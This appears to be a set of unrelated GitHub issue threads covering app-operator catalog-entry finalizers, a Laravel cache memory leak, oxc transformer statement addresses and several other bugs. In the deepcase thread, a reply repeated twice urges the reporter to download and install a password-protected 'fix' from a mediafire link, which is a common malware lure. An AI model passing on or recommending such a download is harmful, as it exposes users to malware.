There are multiple app operators managing resources but it is the unique one that manages catalog entries (create / delete), so each of the app operators should have their own unique finalizer

It came up to fall back to reading the metadata yaml directly from the repository (for example) but apparently it came up before and was discarded

What about resources that are already deleted? Should be there some logic that adds them back?

I feel that by the nature of App Platform we can only come up with an eventually consistent solution.
Some facts:

App CRs are reconciled by multiple app-operators
One of these app-operators, the one in the giantswarm namespace is the unique one. This is the one that currently reconciles catalog and ACEs. Therefor it does not naturally touch / know of all App CRs
There are catalog entries that are already deleted
The Apps themselves do not require the existence of the ACEs to get deployed, this is purely for the Web UI

Some long-term perspective, mainly for @marians. When we first designed ACEs, we made an assumption that we represent each release as a separate ACE, so it's easy to manage (add/remove) them without changing too many objects at once (and with super easy logic). This has come back and hit our back, as in general we would produce too many ACEs and kill the API server performance. Because of that, we decided to limit the number of ACEs to the X most recent releases (currently, AFAIR, X = 5). This has some serious side effects as well, as you see now with happa.
As a result, we know we have to rework how ACEs are managed, but we really don't have time to work on it. Hence, we're looking for some solution here.

From my point of view, mostly based on the comments above, I see these 2 solutions:

Multi-finalizers

When a per-cluster/org app-op creates an instance of App CR (a Chart CR on a remote cluster), it adds its own finalizer to the ACE. It also adds info about how many times this specific app-op has deployed this app. If the counter ever reaches 0, this app-op removes its own finalizer.
Now, the unique app-op, when it finds it fit to remove the specific ACE, just issues delete and that's it. When usage counters of all the app-ops will drop to 0, all app-ops will remove their finalizers and the object will be removed from k8s API server.
Pros:

No need to periodically scan all the App CRs anywhere. Individual app-ops just have to keep count of how many times each of them has deployed this version of ACE
doesn't change anything in App CR nor ACE CR

Cons:

implementation is not that simple anymore

Ideas:

instead of just counting how many times each ACE was deployed by each app-op, we can just make a full deployed-by: list in the status part of ACE. This list will include a reference to each App CR this ACE-version is deployed in. This has some extra benefits in clarity and building relations between objects, not controllers that handle them. It can also instantly answer questions like "where is this version deployed?". I like this much more than a cryptic counter of deployed-by-app-op-0.2.3-count: 3. In this case, an ACE can be removed when the deployed-by list is empty.

Introduce a new CR "done right", tentative name CatalogEntry

This would create a CatalogEntry per application name, but not version. For each application, versions and their properties will be held within a single CE as a list of entries based on the current status of ACE. Entries on the list always reflect what is in the Catalog.
One more thing we can do right if we go with this, is we can extract this to a separate operator and use kuebuilder for it already. This will limit the difference in how unique and non-unique app-ops work, it will start a migration from operatorkit that we need to drop anyway and will be a good intro for us for kubebuilder anyway. It will also make it easier to potentially replace or modify heavily App CRs and app-op in the future.
We risk here that we miss some even-bigger-scope of app-platform, that might show up after the app-platform review, but I'm OK to proceed with it because:

it's the best idea we have right now, and it would go into "best vision of app platform" with 95% certainty
It keeps the loose binding between App and (A)CE. Thinking in perspective: even if we totally remove App CRs from app platform and start using HelmRelease from flux directly everywhere, that kind of CE is still useful, as it's not bound to App nor HelmRelease. So this can withstand even big changes. Just improving ACEs with a list of App CRs they are default with doesn't offer that.

All in all, I think I'm for option 2, as it's more "right" and "long-term", but I'm also assuming that implementation of "option 2" is not much bigger than "option 1" anyway. Do you agree? I see them both as pretty big now :(
Also, @uvegla let me know if you agree that these 2 options make the most sense... maybe scanning all the App CRs when you want to "just" remove an ACE is not that bad. I'm not sure about operatorkit, but in kubebuilder client's request are definitely automatically cached.

@piontec I like option 2 the most, but it also takes the most effort.
FTR this is what I came up with after digging around:

We add a new watcher that runs only in the unique app-operator - so we only need to update that one - and it runs the following algorithm:

Start a watcher on all App CRs (but do not start reading from the channel)
Get all App CRs and create a map of the current apps -> catalog, app, version

Make sure all of them has a finalizer like giantswarm.app-operator/<APP_CR_NAMESPACE>.<APP_CR_NAME>

Start processing events

If an App CR is created, add it to the map

If the ACE exists, add a finalizer
If not, create it and add a finalizer (reading the index might take time here)

If an App CR is modified

Check if any of the catalog, app or version changed

If yes, remove finalizer from old and add to new one (create new one if not exists)

If not changes, continue (or make sure finalizer is set, but not necessary I think)

If an App CR is deleted

Based on the map, remove finalizer from ACE
Remove from map

Additionally the current clean up logic should be modified to keep ACEs with finalizers.
Some corner cases:

We are testing a new version of an App so we manually modify its catalog and version to that. The finalizer gets removed, the cleanup logic deletes it. This is why the create logic should be added to the above algorithm, so that when we set back the App it will surely recreate the ACE.

This is not perfect tho, for example:

Some events can be lost when app-operator has issues
Some ACEs can get stuck when app-operator has issues

For example app-operator marks with finalizer, app-operator fails / gets killed. Before app-operator comes back, the App CR changes it catalog/app/version so the given ACE sticks around forever

My other thought is that letting multiple app-operators updating labels, list, counters whatever could end up in a serious, non-deterministic mess cos there is no guarantee whatsoever when / what order your writes get processed and if the resource changed between the read and the write in a single operator instance's perspective.

There is no particular urgency on this. It's just a general problem with our app user experience.

My 2 cents. I may be controversial, but maybe we should wait with implementing something bigger till we have more time to do the architecture review and re-design. I mean, I like the 2nd idea because it gives the most holistic view on what's inside the Helm repositories, but also I don't like it because it feels like a lot of fuss to get the app metadata from repository. In such case I like the 1st option better, as it feels even more Kubernetes-like, I mean the finalizers, than the operator. But it also comes with its potential problems and I get it.
My other controversial thought is, do we need the ACE for installed apps at all? I mean, we get 5 latest ACEs created by unique app-operator and that's fine, we need to know beforehand what is offered from the catalog. Now, because the view on the screenshot presents the WC-scoped view, I presume the drop-down list contains the version of the app installed for this workload cluster, plus the versions available coming from ACEs, is that right @marians ? Meaning this list does not have the versions installed for other  workload clusters, right? If this assumption is right, do we need to create the ACE for such, already installed app? App Operators should already have access to the index.yaml, see for example this part, and hence to all the information needed on the list. So, let's cut to the chase - can't we put this info into the App status? Better yet, the status already has the appVersion corresponding to upstream version, and the version I presume is already got from there, so we would need to add the release date only. If other information is needed we could also drop it there, after all ACE contains mostly the same fields as App CR.

I kinda feel we should wait with this too. I think adding the info the App status is interesting, tho this way you kinda replicate the info all over the place.
On the other hand the Catalogs and the ACEs are also used in Happa for browsing the available Apps - /apps endpoint - and checking their READMEs, for example /apps/giantswarm/flux-app/0.15.1 which are nice features. Maybe those could also be solved in another way but having Catalogs and ACEs in some form in the cluster is nice to some extent, cos I dont have to "go away" from the cluster / know where these are coming from to see what is available (at least for now the last 5, well...).

I just added info on another broken use case "As a user I want to view the entire app release history in the web UI." to emphasize that the catalog detail page's function to allow viewing the entire release history is also broken.

I think that we agree that we need a major change here and we won't be able to execute it anytime soon. As such, I really like the simple solution @ljakimczuk proposed: let's add the missing info to the App CR itself, on its creation. That way happa has all it needs and we won't have to do any big changes. Yes, we're replicating some info and potentially risking some inconsistencies, but I think we can live with that.
As for the full story of 'release history in happa', this will have to wait for the bigger rework, I'm afraid.

Sounds good to me

@marians as this seems to be happa related, is this something that is still valid for the future and backstage? Or can this be closed?


appengine/aetest: lack of StronglyConsistentDatastore flag in new packages

The StronglyConsistentDatastore flag is no longer available in google.golang.org/appengine/aetest, while it was in appengine/aetest
This causes tests that rely on a strongly consistent datastore to fail, for us, this is pretty much every single one of our tests.
/cc @okdave, @jbuberel, @corollax

Fixed by golang/appengine@302bbefe9d


groups: reference to msg in channel you're not a member of goes nowhere

Describe the bug, optionally with screenshots
If someone posts a reference to a message in a group you're a member of but in a channel you've not joined, it takes you to the group but doesn't open any channel, it's just empty
To Reproduce
Steps to reproduce the behavior:

follow link to msg in channel you've not joined
observe there's nothing

Expected behavior
it should probably prompt you to join the channel

We might make this implicit -- if you follow the reference, you join the channel. How does that sound @tinnus-napbus?

that makes sense for groups you're already a member of


transformer: a helper for inserting new statements above or below the current statement.

Unified usage like https://github.com/oxc-project/oxc/issues/4767#issue-2456217141 does

Good idea.
As #6644 is problematic, I suggest using Address as the unique ID.
https://github.com/oxc-project/oxc/blob/92812349e5266b074d2cb050cc7a6f200e4ac914/crates/oxc_allocator/src/boxed.rs#L173-L181
Currently we only support getting an Address for a Box, but we can also support getting Address for a &Statement:
pub trait GetAddress {
    fn address(&self) -> Address;
}

impl<'a> GetAddress for &Statement<'a> {
    #[inline]
    fn address(&self) -> Address {
        match self {
            Statement::BlockStatement(s) => s.address(),
            Statement::BreakStatement(s) => s.address(),
            Statement::ContinueStatement(s) => s.address(),
            // ... all the rest
        }
    }
}

The match will be massive, but compiler should boil it all down to a single assembler instruction - it's very efficient.
We could generate this with oxc_ast_tools. But if that's too much faff, could also just write it out manually.
I know everyone but me sees Address as a hack, but it's really not. It's a fundamental of things in memory that they have a memory address! Why not utilize that?

Address represents the memory address of the Statement's contents, not the Statement itself. i.e. for Statement::BlockStatement, stmt.address() gives you memory address of the BlockStatement, not the Statement.
Statement consists of:

Enum discriminant - 1 byte, which says what type of statement it is.
A Box<T> - the "payload" e.g. Box<BlockStatement>.

Box is just a pointer. So you can move a Box, and its contents don't move - the pointer has moved, but it's still pointing to the same place.
Therefore, you can also move a Statement, and the "payload" (e.g the BlockStatement) doesn't move. So the Address doesn't change, because the BlockStatement is still in the same place.
So, how does this apply to Vec<Statement>?
Vec<Statement> is an array of Statements. As discussed above, you can move Statements around, and stmt.address() will still give you the same result. Vec::drain, Vec::retain, Vec::insert etc shuffle the Statements around in memory, but they don't move the contents of the statements. So those methods will not alter Addresses.
let mut stmts = Vec::new_in(allocator);

stmts.push(Statement::EmptyStatement(Box::new_in(
    EmptyStatement { span: Span::new(0, 0) },
    allocator,
)));

// Get address of the statement at index 0
let address = stmts[0].address();

// Insert another statement before it
stmts.insert(
    0,
    Statement::EmptyStatement(Box::new_in(EmptyStatement { span: Span::new(1, 1) }, allocator)),
);

// The original statement is now to index 1,
// but its `Address` has not changed
assert_eq!(stmts[1].address(), address);

Mutating a BlockStatement, Function etc in place will also not change its Address.
The only thing that will affect Address is if you replace a Statement with a new Statement.
If you take ownership of a Statement, unbox it, and then reallocate it into the arena again, that will also affect Address, because essentially it's the same as replacing the Statement with a new one. But I don't think we do that anyway, and if we do, we shouldn't because that's inefficient - why create a new Statement when you can just mutate the existing one?
So... TLDR... I think Address should gives us what we need for this.

@overlookmotel I got your point, I am trying it

Here a case can be replaced with StatementInjector (#6653). But I'm stuck on how to get address by Ancestor
https://github.com/oxc-project/oxc/blob/ca8c578932734329ee753ca5eb814029a4714e64/crates/oxc_transformer/src/react/refresh.rs#L269-L304
The above logic handles the following code, ￼and determines whether the parent of the current node is Ancestor::VariableDeclaratorInit, if yes, transform and add a new statement to self.extra_statements
const statement = function b() {}

I want to use StatementInjector to replace self.extra_statements, so I need to get the Address of Statement::VariableDeclaration by Ancestor
Do you think it is possible?

I think it should be possible to add support for getting Address from an Ancestor without UB. I'll try and figure that out.

I think it should be possible to add support for getting Address from an Ancestor without UB. I'll try and figure that out.

I have created a issue to track down this.
closing as this helper has introduced in #6653


⚠ Jenkins Plugins Artifactory has degraded performance

In 4db35ad, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1179 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 9bee80a after 12 minutes.


Memory leak when using TaggableStore with flush method

Laravel Version
10.19.0
PHP Version
8.1.22
Database Driver & Version
No response
Description
When using the tags method on a cache store in order to namespace certain tagged items, a memory leak occurs if the flush() method is called on the taggable store.
This appears to occur because when the TaggableStore flushes, it does so by resetting the ids used in the tag namespace, meaning attempts to retrieve the data will now result in a cache miss. However, the cached data is left in place indefinitely and cannot be accessed as the tag ids have now been replaced.
As the Store interface does not expose a way of seeing all possible cache keys, the only fix for this I can think of for this is to have the TaggableStore keep track of the keys within it's namespace, and have it forget() them when flush is called.
Steps To Reproduce
The following code snippet will show a steadily increasing amount of memory in use:
$store = cache()->store('array')->tags(['test']);
while (true) {
    $store->flush();
    $key = str_replace('.', '', uniqid());
    $store->set($key, uniqid());
    echo memory_get_usage(true) . PHP_EOL;
}

However I would expect all cache values to be cleared on calling flush() and therefore the memory use remain steady.

PR to change the behavior was rejected and this is considered an expected behavior: https://github.com/laravel/framework/pull/48410#issuecomment-1721276412


How to nuke only specified resource types

Hi there,
Apologies in advance for the silly question!
How do you nuke only the specified resource type? For example, I only want to nuke,

S3Bucket
EC2Instance

Thanks

See the documentation for the exclude_resources argument in the inputs section of the README.md—presumably this is used to populate the EXCLUDE_RESOURCES Lambda environment variable which excludes services defined in the _strategy dictionary.

Thanks @marcransome - I missed that bit!

@marcransome Just read this again - can you see how to define the resources that will be destroyed? Looks like exclude_resources defines the resources that will be not destroyed.

Seems like the only way is to provide a list of all resources except ec2 and s3


when a link has two contain, it loses display of some links.

Describe the bug
https://github.com/deep-foundation/deepcase/assets/26022251/bfd1de29-bb1f-4f0b-a43f-eea68220be7e
Expected Behavior
The display of links will remain the same
Current Behavior
Ties from the tsx are gone from the see
To Reproduce

Create TSX links
Create Package links
Create contain links from Package to TSX links

Package Version
0.0.23
Node.js Version
No response
OS
Windows 10
Additional Library Versions
No response

Forked from https://github.com/deep-foundation/deepcase-app/issues/192 by https://github.com/konard/gh-org-migrator

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


avoid serializing Range on each request

current behaviour:
on each request a new Range will be created and upon creating a new Range internally Range will be serialized to the property bag in the constructor.
new behaviour:
on each request as the Range fields are cached, we don't serialize to propertyBag. PropertyBag is used only when absolutely necessary.

/azp run java - cosmos - tests


Generate example with factory (#367)

Reference: https://github.com/rakutentech/laravel-request-docs/pull/367

Update composer to PHP greater than 8

adds parameters for activating generation through factory

add example generation by factories

returns the original state

revert index alter

update readme

Add example to mock

To @fernandopiovezan1
I have enabled CI tests on pull_requests too, so your next PR should be able to run the CI directly without merging to master.
Can you please check the failing tests?
Thanks

Hi @kevincobain2000 I made the lint corrections as requested, but the first two CIs will have to be disabled, as PHP 7.4 was removed from the composer because it used PHP 8.0 methods, so it will not be possible to make the correction as there is no compatibility.

I made the correction but it doesn't come to this commit, I don't understand what the flow should be now.
Should I open a PR for develop or master? As soon as I know where the PR goes, I'll open it again

I see. Hold on I ll remove that from matrix tonight

I can't send it to this PR since I lost track of my original branch, but the changes that are in this branch are now also in the other PR since I did the development rebase in my branch. So I believe this branch can be closed, as it will no longer be updated